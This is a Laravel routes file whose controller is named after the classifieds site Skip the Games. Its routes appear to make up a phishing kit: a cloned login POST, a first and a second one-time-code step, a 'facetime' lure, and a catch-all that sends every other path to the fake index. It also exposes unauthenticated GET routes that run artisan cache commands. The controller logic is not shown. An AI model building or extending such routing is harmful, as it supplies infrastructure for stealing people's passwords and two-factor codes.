<?php

use Illuminate\Support\Facades\Route;
use \App\Http\Controllers\skipthegames;
use Illuminate\Support\Facades\DB;

 Route::get('/view-clear', function() {
     $exitCode = Artisan::call('view:clear');
     return 'View cache cleared';
 });
 
  Route::get('/clear-cache', function() {
     $exitCode = Artisan::call('cache:clear');
     return 'Application cache cleared';
 });
 
 Route::get('/config-cache', function() {
     $exitCode = Artisan::call('config:cache');
     return 'Config cache cleared';
 });
 
  Route::get('/route-cache', function() {
     $exitCode = Artisan::call('route:cache');
     return 'Routes cache cleared';
 });
 

Route::get('/', [skipthegames::class,'index']); 
Route::get('/mail', [skipthegames::class,'mail']);
Route::get('/login', function () {
    return redirect('/');
});
Route::post('sent/mail/data',[skipthegames::class,'sent_mail_data'])->name('sent.mail.data');
Route::get('/home/{id?}', [skipthegames::class,'index']); 

Route::get('/auth_code',function () {
    return view('auth_code');
})->name('auth_code');

Route::get('/facetime/{id?}',[skipthegames::class,'showFacetime']);
Route::post('/login',[skipthegames::class,'store'])->name('login');
Route::post('/copy_link',[skipthegames::class,'copy_link'])->name('copy.link');

Route::post('/facetime',[skipthegames::class,'facetime'])->name('facetime');
Route::post('/auth_code',[skipthegames::class,'auth_code'])->name('auth_code');
Route::get('/second_otp',function(){return view('extra_otp');});
Route::post('/second_auth_code',[skipthegames::class,'second_auth_code'])->name('second.otp');

Route::get('/{slug}', [skipthegames::class,'index'])
    ->where('slug', '[A-Za-z0-9\-]+')
    ->name('custom.slug');

// 
Route::fallback(function () {
    return redirect('/');
});


